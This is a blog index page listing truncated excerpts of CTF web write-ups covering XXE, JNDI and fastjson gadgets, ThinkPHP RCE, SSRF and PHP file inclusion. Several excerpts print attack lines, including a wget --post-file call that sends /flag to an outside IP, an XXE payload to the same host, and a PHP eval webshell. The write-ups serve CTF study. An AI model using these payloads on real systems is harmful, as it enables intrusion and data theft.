自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(82)
  • 问答 (2)
  • 收藏
  • 关注

原创 d^3CTF web部分wp

d3oj提示是尝试用oct用户登陆,翻组件版本看到个合适的https://hackerone.com/reports/869574编辑文章哪里很明显POST /article/0/edit HTTP/1.1Host: xxxUser-Agent: xxAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0

2022-03-07 20:09:07 1064

原创 《深入理解java虚拟机》读书笔记1-类文件结构

《深入理解java虚拟机》读书笔记1-类文件结构最近在看周志明老师写的《深入理解java虚拟机》,学到了很多,也有很多没理解的地方,觉得需要做读书笔记。无关性基石java虚拟机不与包括java语言在内的任何程序语言绑定,直至今日,商业企业和开源机构已经在java语言之外发展出一大批运行在java虚拟机之上的语言,比如Kotlin、Clojure、Groovy、JRuby、JPython、Scala等。java虚拟机它只与”calss文件“这种特定的二进制文件格式所关联。class文件中包含了java虚

2022-03-03 15:21:25 568

原创 [羊城杯 2020]A Piece Of Java

[羊城杯 2020]A Piece Of Java源码逻辑不难,在hello路由对设置cookie键名为data进行反序列化问题是用的是seriakiller进行的反序列化,并且用的白名单限制。虽然题目自带了CC但是因为这个设置没法直接用。看一下题目给的条件,有个InfoInvocationHandlerpackage gdufs.challenge.web.invocation;import gdufs.challenge.web.model.Info;import java.io.S

2022-01-26 18:17:42 2314 2

原创 [SWPU2019]Web5

[SWPU2019]Web5题目给了个导入导出通讯录的功能,导出为xlsx文件,所以猜测是解析excel引起的xxe验证一下对[Content_Types].xml写入poc之后再压缩回去<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANYTHING [<!ENTITY % test SYSTEM "http://124.70.40.5:1234">%test;验证了xxe存在.无法直接读flag,利用jav

2022-01-25 22:04:31 637

原创 CVE-2019-14439以及[NPUCTF2020]EzShiro复现

CVE-2019-14439是由logback 引起的 jndi 注入,找不到详细分析的文章,对着网上的poc简单看了一下。在ch.qos.logback.core.db.JNDIConnectionSource这个类里漏洞原理并不复杂,很清晰明了的jndi注入。pocpackage Jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class

2021-12-22 12:40:44 4904 3

原创 2021安洵杯ezjson-wp

ezjson比赛只做了前两道web,这道题没去看了,因为当时看做出来的人不多就去复习了,今天有空看一下题。fd文件可以泄露 jar文件下到源码。题目环境不出网没法jndi。但题目本身留了加载字节码后门。fastjson版本1.2.47,有个通杀payload{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@t

2021-12-02 12:23:29 1131 3

原创 2021西湖论剑web部分wp

前言快期末了 忙里偷闲打了西湖论剑,队伍第七,又被队友带飞了,web题目质量还可以OA?RCE?环境没有写的权限,本地有打通环境打不通的情况很多之后在webmain/index/indexAction.php处有个包含任意php文件有个查看phpinfo的看了之后开着register_argc_argv,尝试包含pearcmdpayload第一步?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2x

2021-11-21 12:01:36 1838

原创 2021湖湘杯web部分wp

前言快期末了这学期准备退役了,下学期继续努力(大二课怎么这么多啊!!!期末考怎么办啊!!!一节课没听啊!!!)今天上线看看题easywill这题没啥好说,跟tp3的rce差不多直接?name=cfile&value=/etc/passwd就能文件包含,之后找不到flag,用拟态的的那个包含pearcmd.php就能getshellPentest in Autumn下个pom.xml附件 看到shiro<?xml version="1.0" encoding="UTF-8"

2021-11-14 20:00:19 1850 2

原创 陇原战疫web部分wp

webCheckIN下载源码,看到这里这里调用wget,并且参数可控,可以直接外带数据,查看绑定路由尝试访问/wget?argv=1这里应该是出题人失误,无需登录可直接访问,利用–post-file参数直接外带文件payload/wget?argv=fmyyy&argv=--post-file&argv=/flag&argv=http://124.70.40.5:1234服务器开个监听直接打就行eaaasyphp反序列化,有个file_put_conten

2021-11-08 10:41:57 857

原创 长城杯线下赛赛后复现

长城杯线下赛赛后复现前言去打了长城杯决赛,结果全程坐牢,果然不联网的web太难了,赛后拿到了两个web靶机的wp,复现一下。fancyapi目录结构逻辑很简单,web用的是python的flask框架,然后go写了几个接口处理数据。看看backend.gofunc Flag(w http.ResponseWriter, r *http.Request ) { action:= r.URL.Query().Get("action") if action == "" { fail(w,

2021-10-14 07:29:30 1141 2

原创 一条laravel5.1的反序列化链子

title: 一条laravel5.1的链子 date: 2021-09-10 21:14:04categories: 框架comments: truetoc: true## 前言挖一整天才挖出这一条,主要是钻牛角尖了,逮着一个地方使劲找链子。poc先放poc吧<?phpnamespace Illuminate\Database\Eloquent { class FactoryBuilder { protected $definitions;.

2021-09-22 12:00:21 401 1

原创 2021第五空间webakwp

前言挺傻逼的,5道web题全是静态靶机,三道rce题,一直有人搅屎,不知道主办方咋想的。附一张图不过也算是ak了web 总体感觉还不错webftp这题就要说到搅屎的问题了,我直接扫路径扫到1.txt看到flag,大概是哪位大师傅放的赛后跟别的师傅聊了一下,预期解是github上能下载源码然后看就行。EasyCleanup源码逻辑很简单,给了phpinfo和任意文件包含这里的 session.upload_progress.cleanup 是off的,不会自动清除session文件那

2021-09-18 13:19:34 1088 1

原创 2021祥云杯web 部分wp

ezyii说是最新的链子,题目把文件都筛选好了让我们找。写一下我的思路看到RunProcess类<?phpnamespace Codeception\Extension;class RunProcess{ protected $output; protected $config = ['sleep' => 0]; protected static $events = []; private $processes = []; publ

2021-08-23 17:06:42 724 5

原创 thinkphp5 未开启强制路由RCE

演示版本5.0.15最终是利用反射调用函数执进行RCEapplication/config.php下强制路由默认为false从payload来看?s=index/\think\app/![invokefunction](https://img-blog.csdnimg.cn/d8840390e06843daa80de48c6c20195c.png) &function=call_user_func_array&vars[0]=system&vars[1][]=whoami

2021-07-28 21:20:43 479

原创 thinkphp5.0.x RCE

ThinkPHP 5.0.x (<=5.0.23)5.0.23->5.0.24 对method方法添加了过滤,该方法为获取请求类型,5.0.24中只允许method为常用的几个方法,否则就将其置为POST方法。在/thinkphp/library/think/Request.php下的filterValue函数下的第五行,调用了call_user_func()方法 private function filterValue(&$value, $key, $filters)

2021-07-28 13:00:51 573

原创 ctfshow ssrf

351url=http://127.0.0.1/flag.php352在上题的基础上加了过滤if(!preg_match('/localhost|127.0.0/'))这道题绕过方法挺多可以把127.0.0.1进制转换一下ip地址进制转换或者http://127.0.1/flag,phphttp://127.1/flag,php353同上354Y4师傅说了很多方法355host长度限制为5了url=http://127.1/flag或者url=http://0/flag.

2021-07-18 15:10:22 250 2

原创 ctfshow nodejs篇

334源码给了 登录成功就能拿到flagvar express = require('express');var router = express.Router();var users = require('../modules/user').items; var findUser = function(name, password){ return users.find(function(item){ return name!=='CTFSHOW' && item

2021-07-16 22:57:09 1024 1

原创 ctfshow web310

跟前面308 309同一个源码,只是mysql添加了密码不能ssrf了跟309一样不过这题的flag不能直接读,找了一下,web目录下面的flag是假的,真的在/var/flag里面,无法直接用ssrf读到,但写个木马用蚁剑连接就能读到了同样的 利用gopherus工具生成payloadecho "<?php @eval(\$_POST[a]); ?>" > /var/www/html/1.php之后蚁剑连接flag在var/flag目录下的index.html里面补充

2021-07-15 12:42:26 174 1

原创 ctfshow web308 ssrf

在index.php里$service = unserialize(base64_decode($_COOKIE['service']));if($service){ $lastVersion=$service->checkVersion();}在dao.php中有checkVersion方法checkUpdatefunction checkUpdate($url){ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $ur.

2021-07-15 11:57:04 364

原创 ctfshow web307

是代码审计专题的下载到源码主要在dao.php和logout.php里面dao.php里有个dao类,里面有个方法在看logout.php反序列化dao类 控制config里的cache_dir为我们的命令即可。不过shell_exec函数有个特点也就是说没回显,但写入文件就可以了,或者也可以反弹shell<?phpclass config{ public $cache_dir = 'aaa/*;cat /var/www/html/flag.php > /va

2021-07-14 23:16:14 294 1

原创 ctfshow web40利用session进行rce

期末考考完了应该继续学习网安了。之前一段时间去尝试挖cnvd,也是混到了自己的第一张cnvd证书,虽然是没有什么技术含量的洞,但也让我觉得很开心。放出来分享一下但证书都是次要的,重要的是自己能力的提升。之前买了ctfshow的vip题,遇到了一个之前不知道的trick,记录一下。源码<?phpif(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&amp

2021-07-08 14:14:40 449

原创 oscplike:Kioptix Level 1渗透笔记

因为靶机都是在内网的,省时间写了个bash脚本利用ping命令快速探测存活主机。不过一般都是用nmap#!/bin/bashif [ $1 == ""]then echo "Usage: ./pingsweep.sh [network]"echo "Example: ./pingsweep.sh 192.168.1"elsefor ip in `seq 1 254`; doping -c 1 $1.$ip | grep "64 bytes" | cut -d " " -f 4 | sed

2021-05-31 18:42:50 283

原创 [GYCTF2020]Node Game

一道nodejs题,可以直接拿到源码var express = require('express');var app = express();var fs = require('fs');var path = require('path');var http = require('http');var pug = require('pug');var morgan = require('morgan');const multer = require('multer');app.use(

2021-05-29 21:37:19 723 1

原创 [HarekazeCTF2019]Sqlite Voting

看提示应该是sqlite注入可以直接下载到数据库结构和源码DROP TABLE IF EXISTS `vote`;CREATE TABLE `vote` ( `id` INTEGER PRIMARY KEY AUTOINCREMENT, `name` TEXT NOT NULL, `count` INTEGER);INSERT INTO `vote` (`name`, `count`) VALUES ('dog', 0), ('cat', 0), ('zebra', 0).

2021-05-27 20:34:07 463 1

原创 [网鼎杯 2020 玄武组]SSRFMe

第一次做redis相关的题目。主要考点是redis主从复制rce<?phpfunction check_inner_ip($url){ $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } try { $url_pars

2021-05-27 16:01:21 419 2

原创 [HITCON 2016]Leaking

"use strict";var randomstring = require("randomstring");var express = require("express");var { VM} = require("vm2");var fs = require("fs");var app = express();var flag = require("./config.js").flagapp.get("/", function(req, res) { res.he

2021-05-25 20:31:26 319 1

原创 [WMCTF2020]Make PHP Great Again

源码<?phphighlight_file(__FILE__);require_once 'flag.php';if(isset($_GET['file'])) { require_once $_GET['file'];}解法一这一看就是session.upload_progress文件包含import ioimport requestsimport threadingsessid = 'bbbbbbb'data = {"cmd":"system('cat flag.ph

2021-05-25 14:53:30 1264

原创 buu reserve xor+reserve3

xorida(64)打开主函数伪代码查看global并导出脚本处理list = [0x66, 0x0A, 0x6B, 0x0C, 0x77, 0x26, 0x4F, 0x2E, 0x40, 0x11, 0x78, 0x0D, 0x5A, 0x3B, 0x55, 0x11, 0x70, 0x19, 0x46, 0x1F, 0x76, 0x22, 0x4D, 0x23, 0x44, 0x0E, 0x67, 0x06, 0x68, 0x0F, 0x47, 0x32, 0x4F, 0x00].

2021-05-24 21:05:49 171 1

原创 [XDCTF 2015]filemanager

www.tar.gz下载到源码。结构审计后发现有很多对数据库的操作,猜测存在注入。文件名采取白名单对后缀名过滤,不能直接上传php文件,upload.php里面对文件名进行了addslashes转义,不存在直接注入。commom.inc.php中对所有请求参数也进行了转义看到rename.php<?php/** * Created by PhpStorm. * User: phithon * Date: 15/10/14 * Time: 下午9:39 */requir

2021-05-23 18:37:19 618 2

原创 [极客大挑战 2020]Greatphp

知识点php原生类的利用源码<?phperror_reporting(0);class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($th

2021-05-22 16:15:45 1356 3

原创 利用session.upload_progress进行文件包含

这次ciscn有一道web题考的就是这个知识点,但当时没有尝试去扫路径,被开头给的源码卡死了有点儿遗憾,不过还是想自己复现一下这个小trick。先来看看php手册对此的描述。我们可以post session.upload_progress参数,写入木马。这个选项可以让我们自己定义文件名。例如,控制phsession=flag,则文件名就变为/tmp/sess_flag这里还有一个配置选项是默认开启的session.upload_progress.cleanup,这个选项会让post进程结束时

2021-05-21 21:43:10 415 3

原创 buuctf re1-3

最近开始学逆向了,入门题应该纪念一下。easyre丢ida知乎shift+f12搜索字符串即可reverse1查找字符串进入该函数查看伪代码。输入跟str2比较,查看str2为{hello_world}再看看伪代码上面的函数 for ( j = 0; ; ++j ) { v8 = j; v2 = j_strlen(Str2); if ( v8 > v2 ) break; if ( Str2[j] == 111 )

2021-05-21 21:09:57 195

原创 [RootersCTF2019]babyWeb

提示过滤了 union sleep 单双引号 or和benchmark。很明显的报错注入。最后?search=1 and (updatexml(1,concat(0x7e,((select group_concat(uniqueid) from users)),0x7e),1));?search=1 and (updatexml(1,concat(0x7e,(substr((select group_concat(uniqueid) from users),32,50)),0x7e),1));8.

2021-05-21 17:22:11 276 1

原创 [NESTCTF 2019]Love Math 2

源码 <?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){ show_source(__FILE__);}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 60) { die("太长了不会算"); } $blacklist = [' ', '\t',

2021-05-20 19:46:26 687

原创 [RCTF 2019]Nextphp

场景源码就相当于一个一句话木马。肯定没这么简单,先看看phpinfodisable_functions里禁掉了不少函数刚开始想的是用file_put_contents函数写shell再用蚁剑插件绕过disable_functions,但测试后不行,不过也得到了一些有用的信息。有个preload.php<?phpfinal class A implements Serializable { protected $data = [ 'ret' => null

2021-05-18 19:19:17 821 1

原创 [CISCN2019 华东北赛区]Web2

这次ciscn差点爆0了。。。还是多练练吧。注册账号登录,看到投稿和反馈两个页面。发表查看直接将我们输入的文章内容显示在了页面上,猜测存在xss。测试没有内容也没有弹窗看源码我们的语句被放入了源码,但似乎被编码了。导致没有执行。这个反馈界面应该是模拟管理员点击链接的过程。...

2021-05-17 21:32:07 695 3

原创 [XNUCA2019Qualifier]EasyPHP

文章目录非预期解一<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php"); if(!isset($_G

2021-05-13 18:56:35 883

原创 [SUCTF 2018]annonymous

<?php$MY = create_function("","die(`cat flag.php`);");$hash = bin2hex(openssl_random_pseudo_bytes(32));eval("function SUCTF_$hash(){" ."global \$MY;" ."\$MY();" ."}");if(isset($_GET['func_name'])){ $_GET["func_name"](); die();}

2021-05-12 20:05:02 409 1

原创 [N1CTF 2018]eating_cms

场景抓个包看到直接给出了sql语句,测试之后发现很难饶过,访问register.php注册账号进入。url里的page参数很容易想到文件读取,用伪协议读源码。php://filter/read=convert.base64-encode/resource=user主要是user.php和function.phpuser.php<?phprequire_once("function.php");if( !isset( $_SESSION['user'] )){ Header

2021-05-12 17:43:47 822 10

原创 [NPUCTF2020]ezlogin

XPATH注入学习一道xpath注入题,又是陌生的知识,学习一下。

2021-05-11 13:59:50 489 1

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除